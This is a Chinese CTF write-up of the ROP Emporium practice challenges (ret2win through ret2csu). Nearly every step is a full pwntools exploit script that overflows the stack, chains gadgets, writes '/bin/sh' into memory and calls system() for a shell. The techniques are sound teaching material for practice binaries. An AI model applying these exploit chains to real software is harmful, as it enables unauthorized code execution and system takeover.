记录一下学习ROP的基础题目.
ret2win
32位:
先分析一下程序, 可以看到main
、pwnme
、ret2win
函数.main
函数调用了pwnme
函数, pwnme
函数里面存在一个gets
读取0x32
个字节到s
变量里面, 但是这个变量只有0x28
大小. 也就是0x28
+ 4
+ retaddr
就可以控制这个程序的返回地址了.
废话不多说 直接上exp.
from pwn import *
p = process("./ret2win32")
# var
overflow = 0x28 + 4
ret2win_addr = 0x08048659
payload = "A" * overflow
payload += p32(ret2win_addr)
p.sendline(payload)
p.interactive()
64位:
虽然是64
位的, 但是这个题目不需要进行rop
, 所以和32
位的做法一样.
from pwn import *
p = process("./ret2win")
# var
overflow = 0x20 + 8 # because is 64 bit program, +8
ret2win_addr = 0x0000000000400811
payload = "A" * overflow
payload += p64(ret2win_addr)
p.sendline(payload)
p.interactive()
split
32位:
main
、pwnme
函数都和上道题差不多, 但是usefulFunction
里面只有一条system("/bin/ls")
, 并不是cat /flag
, 不过可以通过IDA
里面shift+F12
, 搜索到/bin/cat flag.txt
, 也就是system
函数和/bin/cat flag.txt
并不在连续的内存位置, 所以需要构造一下 :D
接下来就要用到汇编中, 调用函数的原理. 如果不懂的可以看我之前拍过的一期视频.
【x86汇编】详解汇编调用函数三步,加恢复堆栈平衡
开始写exp
from pwn import *
p = process("./split32")
elf = ELF("./split32")
# var
overflow = 0x28 + 4
system_addr = elf.plt["system"]
cat_flag_addr = 0x0804A030
payload = "A" * overflow
payload += p32(system_addr) + p32(0)
payload += p32(cat_flag_addr)
p.sendline(payload)
p.interactive()
64位:
64位调用函数参数寄存器: rdi, rsi, rdx, rcx, r8, r9
从这里开始, 我们第一次接触gadget
, 什么是gadget
呢, 就是程序中存在的一些小汇编指令,
比如pop rdi; ret
, pop rsi; ret
, mov r12, 13; ret
, 有没有发现什么规律, 每个汇编指令结尾都是ret
, 所以是ROP
Return-Oriented Programming
, 可以通过找到多个gadget
, 最后组成一段长的链
, 以完成我们的攻击.
在我们安装完毕pwntools
之后, 会有一个工具ROPgadget
, 它可以很方便的找到我们攻击所需要的gadget
.
64位程序调用函数的时候, 函数的前6个参数是存在于寄存器当中的, 所以我们需要把/bin/cat flag.txt
放到第一个参数的位置, 也就是需要找到pop rdi; ret
找pop rdi; ret
ROPgadget --binary split --only "pop|ret"
可以找到0x0000000000400883 : pop rdi ; ret
, 已经可以开始写exp了.
from pwn import *
p = process("./split")
elf = ELF("./split")
# var
overflow = 0x20 + 8
pop_rdi_addr = 0x0000000000400883
cat_flag_addr = 0x0000000000601060
system_addr = elf.plt["system"]
payload = "A" * overflow
payload += p64(pop_rdi_addr) + p64(cat_flag_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
callme
32位:
这道题目是为了加深函数调用的理解
题目说需要依次调用callme_one(), callme_two() , callme_three()
三个函数, 每个函数都需要传递1 2 3
三个参数. 也就是func(1, 2, 3)
需要通过ROPgadget
找到一个可以删除栈上三个参数的gadget
, 以恢复栈平衡.
要注意, callme_one, callme_two
等函数地址要取函数本身
的, 而不是call callme_one
之类的地址.
开始写exp
from pwn import *
p = process("./callme32")
elf = ELF("./callme32")
# var
overflow = 0x28 + 4
callme_one_addr = elf.sym["callme_one"]
callme_two_addr = elf.sym["callme_two"]
callme_three_addr = elf.sym["callme_three"]
pop_esi_rdi_rbp_ret = 0x080488a9
payload = "A" * overflow
payload += p32(callme_one_addr) + p32(pop_esi_rdi_rbp_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_two_addr) + p32(pop_esi_rdi_rbp_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_three_addr) + p32(pop_esi_rdi_rbp_ret) + p32(1) + p32(2) + p32(3)
p.sendline(payload)
p.interactive()
64位:
emm, 这个题目, 64位个人感觉要更简单一些, 专心找gadget
就可以了.
from pwn import *
p = process("./callme")
elf = ELF("./callme")
# var
overflow = 0x20 + 8
callme_one_addr = elf.sym["callme_one"]
callme_two_addr = elf.sym["callme_two"]
callme_three_addr = elf.sym["callme_three"]
pop_rdi_rsi_rdx_addr = 0x0000000000401ab0
payload = "A" * overflow
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1) + p64(2) + p64(3) + p64(callme_one_addr)
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1) + p64(2) + p64(3) + p64(callme_two_addr)
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1) + p64(2) + p64(3) + p64(callme_three_addr)
p.sendline(payload)
p.interactive()
write4
32位:
这个挑战给了system
但是没有给/bin/cat flag.txt
, 则需要自己写一段进去, 这里打算直接写个/bin/sh
, 但是往哪里写呢?
通过readelf
工具查看段.
可以看到.data
和.bss
段都有可读写的权限, 这里就可以把/bin/sh
写到.data
段内, 要写入的长度是7, data段大小是8, 刚好可以装下.
要想写入数据到里面, 需要使用mov
指令, 于是找到了
0x080486da : pop edi ; pop ebp ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret
这两条指令就可以满足我们写入数据到内存的想法. 由于这是32位的程序, 每次只能写入4个字节, 而/bin/sh
是7个字节, 于是我们要分两次进行写入。
那? Go?
from pwn import *
p = process("./write432")
elf = ELF("./write432")
# var
overflow = 0x28 + 4
system_addr = elf.plt["system"]
data_addr = 0x0804a028
pop_edi_ebp_addr = 0x080486da
mov_edi_ebp = 0x08048670
bin_sh_str = "/bin/sh".ljust(8, "\0")
left_bin_sh = bin_sh_str[:4]
right_bin_sh = bin_sh_str[4:]
payload = "A" * overflow
payload += p32(pop_edi_ebp_addr) + p32(data_addr) + left_bin_sh + p32(mov_edi_ebp)
payload += p32(pop_edi_ebp_addr) + p32(data_addr + 4) + right_bin_sh + p32(mov_edi_ebp)
payload += p32(system_addr) + p32(0)
payload += p32(data_addr)
p.sendline(payload)
p.interactive()
64位:
思路和32位一样, 不过64位要更简单一些, 因为可以一次性直接把/bin/sh
写进去, 不用分开写入了.
找到需要的gadget
0x0000000000400893 : pop rdi ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
开始编写exp
from pwn import *
p = process("./write4")
elf = ELF("./write4")
# var
overflow = 0x20 + 8
system_addr = elf.plt["system"]
pop_rdi_addr = 0x0000000000400893
data_addr = 0x0000000000601050
mov_r14_r15_addr = 0x0000000000400820
pop_r14_15_addr = 0x0000000000400890
bin_sh_str = "/bin/sh".ljust(8, "\0")
payload = "A" * overflow
payload += p64(pop_r14_15_addr) + p64(data_addr) + bin_sh_str + p64(mov_r14_r15_addr)
payload += p64(pop_rdi_addr) + p64(data_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
badchars
32位:
程序禁止输入b i c / <space> f n s
, 可以通过异或后的结果来把/bin/sh
写到程序, 再通过gadget
把/bin/sh
异或回来, 再进行执行.
首先要得出异或哪个数字可以通过这个黑名单, 写个脚本跑跑.
blackList = [ord(i) for i in ["b", "i", "c", "/", " ", "f", "n", "s"]]
bin_sh = "/bin/sh".ljust(8, "\0")
result = ""
# 测试从1异或到20 看看哪个数字可以使用
for i in range(1, 20):
for item in bin_sh:
if ord(item) ^ i in blackList:
break
else:
result += item
if len(result) == 8:
print(i)
result = ""
执行完毕可以发现2 3 5 9 18 19
之类的都可以用, 然后直接用个最小的就可以.
开始编写exp
from pwn import *
p = process("./badchars32")
elf = ELF("./badchars32")
overflow = cyclic_find("laaa")
xor_num = 2
bin_sh = list("/bin/sh".ljust(8, "\0"))
data_addr = 0x0804a038
system_addr = elf.sym["system"]
mov_edi_esi_ret = 0x08048893
pop_esi_edi_ret = 0x08048899
pop_ebx_ecx_ret = 0x08048896
xor_ebx_ecx_ret = 0x08048890
# xor encode
for index, item in enumerate(bin_sh):
bin_sh[index] = chr(ord(item) ^ xor_num)
bin_sh = "".join(bin_sh)
payload = "A" * overflow
# write "/bin" to data
payload += p32(pop_esi_edi_ret) + bin_sh[:4] + p32(data_addr)
payload += p32(mov_edi_esi_ret)
# write "/sh" to data
payload += p32(pop_esi_edi_ret) + bin_sh[4:] + p32(data_addr + 4)
payload += p32(mov_edi_esi_ret)
# decode xor
for i in range(len(bin_sh)):
payload += p32(pop_ebx_ecx_ret) + p32(data_addr + i) + p32(xor_num)
payload += p32(xor_ebx_ecx_ret)
# system(/bin/sh)
payload += p32(system_addr)
payload += p32(0)
payload += p32(data_addr)
p.sendline(payload)
p.interactive()
64位:
和32位一样思路, 只是找到gadget
不一样, 还要注意要比32位程序多用一个pop rdi; ret
.
exp:
from pwn import *
p = process("./badchars")
xor_num = 2
binsh = '/bin/sh\x00'
xorbinsh = ''
for i in binsh:
a = ord(i) ^ xor_num
xorbinsh += chr(a)
overflow = cyclic_find("kaaa")
pop_rdi_ret = 0x0000000000400b39
pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
bss_addr = 0x601080
system_addr = 0x4006f0
payload = "A" * overflow
payload += p64(pop_r12_r13_ret) + xorbinsh + p64(bss_addr)
payload += p64(mov_r13_r12_ret)
for i in range(len(xorbinsh)):
payload += p64(pop_r14_r15_ret)
payload += p64(xor_num)
payload += p64(bss_addr + i)
payload += p64(xor_r15_r14_ret)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
fluff
32位:
看介绍, 就是write4
的升级版, 肯定是要找一条可以把寄存器的值写入到内存地址上的指令,
0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
但是没找到pop ecx; pop edx; ret
之类的操作
可是…可以发现一条
0x080485f3 : popal ; cld ; ret
第一次遇到这个指令, 去搜了一下, 可以从栈上弹到所有寄存器,
顺序是%edi->%esi->%ebp->%esp->%ebx->%edx->%ecx->%eax
也就是相当于
pop edi;
pop esi;
pop ebp;
pop esp;
pop ebx;
pop edx;
pop ecx;
pop eax;
这样我们只需要随便填充其他的寄存器, 然后把ecx, edx
寄存器填写成我们需要的内容就可以了.
为了减少代码量, 我们还可以写个函数.
直接上exp
from pwn import *
p = process("./fluff32")
# var
offset = 44
bss_addr = 0x0804a040
bin_sh = "/bin/sh".ljust(8, "\0")
system_addr = 0x0804865A
popal = 0x080485f3 # %edi->%esi->%ebp->%esp->%ebx->%edx->%ecx->%eax
mov_ecx_edx = 0x08048693 # 2 mov [ecx], edx
def write(text, offset):
payload = p32(popal)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += text # edx
payload += p32(bss_addr + offset) # ecx
payload += p32(0)
payload += p32(mov_ecx_edx) + p32(0) + p32(0)
return payload
payload = "A" * offset
payload += write(bin_sh[:4], 0)
payload += write(bin_sh[4:], 4)
payload += p32(system_addr) + p32(bss_addr)
p.sendline(payload)
p.interactive()
64位:
只要搞明白, 0 与 正数进行异或, 得到的结果就是那个正数, 可以通过这个方法间接给一个寄存器赋值.
from pwn import *
p = process("./fluff")
# var
offset = 0x28
system_addr = 0x4005E0
bss_addr = 0x0000000000601060
pop_rdi = 0x00000000004008c3 # pop rdi; ret
xor_r11_r11 = 0x0000000000400822 # xor r11, r11; pop; ? ret
pop_r12 = 0x0000000000400832 # pop r12 ; ?; ret
xor_r11_r12 = 0x000000000040082F # xor r11, r12; pop; ?; ret
mov_r10_r11 = 0x000000000040084E # mov [r10], r11; pop r13; pop r12; xor [r10], r12b; ret
xchg_r10_r11 = 0x0000000000400840 # xchg; pop; ?; ret
bin_sh = "/bin/sh".ljust(8, "\0")
# A == 0 -> A ^= ? -> A = ?
"""
>>> r11 = 100
>>> r11 ^= r11
>>> r11
0
>>> r12 = 200
>>> r11 ^= r12
>>> r11
200
"""
payload = "A" * offset
# bin/sh -> bss
payload += p64(xor_r11_r11) + p64(0) # r11 = 0
payload += p64(pop_r12) + p64(bss_addr) # r12 = bss_addr
payload += p64(xor_r11_r12) + p64(0) # r11 = r12 = bss_addr
payload += p64(xchg_r10_r11) + p64(0) # r10 = 0 -> r10 = r11 = r12 = bss_addr
payload += p64(xor_r11_r11) + p64(0) # r11 = 0
payload += p64(pop_r12) + bin_sh # r12 = /bin/sh
payload += p64(xor_r11_r12) + p64(0) # r11 = 0 -> r11 = r12 = /bin/sh
payload += p64(mov_r10_r11) + p64(0) + p64(0) # mov [bss], /bin/sh
payload += p64(pop_rdi) + p64(bss_addr) # bss_addr = /bin/sh
payload += p64(system_addr) # system(bss_addr) = system(/bin/sh)
p.sendline(payload)
p.interactive()
pivot
32位:
分析一下题目, 有两个输入的地方,
第一次输入会输入到堆
中, 也就是程序打印那个地址.
第二次输入就是要溢出了, 但是给我们构造ROP链的大小只有0xb
. 肯定不够我们构造复杂的ROP链的, 所以我们要进行栈迁移
.
题目给了libcpivot32.so
, 分析了一下可以看到ret2win
函数和foothold_function
, 可以通过泄露foothold_function
的地址计算出ret2win
的实际地址并执行.
from pwn import *
import time
p = process("./pivot32")
elf = ELF("./pivot32")
libc = ELF("libpivot32.so")
# var
overflow = 0x28 + 4 # 溢出字节
ret2win_sym = libc.sym["ret2win"] # 得到ret2win函数的地址
foothold_sym = libc.sym["foothold_function"] # 得到foothold_function
offset = ret2win_sym - foothold_sym # 计算出foothold到ret2win函数的偏移
foothold_plt = elf.plt["foothold_function"]
foothold_got = elf.got["foothold_function"]
pop_eax = 0x080488c0 # pop eax; ret
pop_ebx = 0x08048571 # pop ebx; ret
mov_eax_eax = 0x080488c4 # mov eax, [eax]; ret
add_eax_ebx = 0x080488c7 # add eax, ebx; ret
call_eax = 0x080486a3 # call eax
xchg_eax_esp = 0x080488c2 # xchg eax, esp; ret
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(10), 16) # 获得程序打印出来的heap地址 也就是我们第一次写入的内容地址.
payload = b""
payload += p32(foothold_plt)
payload += p32(pop_eax) + p32(foothold_got) + p32(mov_eax_eax)
payload += p32(pop_ebx) + p32(offset)
payload += p32(add_eax_ebx)
payload += p32(call_eax)
p.sendline(payload)
payload = b"A" * overflow
payload += p32(pop_eax) + p32(heap)
payload += p32(xchg_eax_esp) # 让eax和esp两个寄存器交换内容
p.sendline(payload)
p.interactive()
真实题目:
Black Watch 入群题 PWN
64位:
和32位差不多
# coding:utf-8
from pwn import *
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
p = process("./pivot")
# var
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
foothold_sym = libc.symbols['foothold_function']
ret2win = libc.symbols['ret2win']
offset = ret2win - foothold_sym
mov_rax_rax = 0x0000000000400b05
pop_rax_ret = 0x0000000000400b00
call_rax =0x00000000040098e
add_rax_rbp = 0x00000000000400b09
pop_rbp = 0x0000000000400900
xchg_rax_rsp = 0x0000000000400b02
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(14),16)
p.recvuntil("> ")
payload1 = p64(foothold_plt)
payload1 += p64(pop_rax_ret)
payload1 += p64(foothold_got)
payload1 += p64(mov_rax_rax)
payload1 += p64(pop_rbp)
payload1 += p64(offset)
payload1 += p64(add_rax_rbp)
payload1 += p64(call_rax)
p.sendline(payload1)
p.recvuntil("> ")
payload2 ='a'*(0x20+0x08)
payload2 += p64(pop_rax_ret)
payload2 += p64(heap)
payload2 += p64(xchg_rax_rsp)
p.sendline(payload2)
p.recvuntil("into libpivot.so")
p.interactive()
ret2csu
64位:
程序要求我们callret2win
这个函数, 同时rdx
寄存器要放入0xdeadcafebabebeef
.
通过ROPgadget
并没有找到pop rdx; ret
之类的, 但是从IDA
进行分析, 可以看到__libc_csu_init
函数中, 有pop r15
和mov rdx, r15
之类的, 可以间接进行赋值.
from pwn import *
p = process("./ret2csu")
# var
init_addr = 0x0600E10
mov_rdx_r15 = 0x0000000000400880
pop_rbx = 0x000000000040089A
ret2win = 0x00000000004007B1
p.recvuntil('> ')
payload = b"A" * 0x28
payload += p64(pop_rbx)
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp 填写1因为0x400880那串里面有一个add rbx, 1; 再往后有一个cmp, 如果不填写1就又跳回来了.
payload += p64(init_addr) # pop r12 如果不init, setvbuf会将edx填写为0xffffffff
payload += p64(0) # pop r13
payload += p64(0) # pop r14
payload += p64(0xdeadcafebabebeef) # pop r15
payload += p64(mov_rdx_r15) # ret
payload += p64(0)
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(0) # r12
payload += p64(0) # r13
payload += p64(0) # r14
payload += p64(0) # r15
payload += p64(ret2win) # ret
p.sendline(payload)
p.interactive()
如果不理解可以通过IDA+Pwntools远程调试, 看清楚栈中数据, 就会理解了。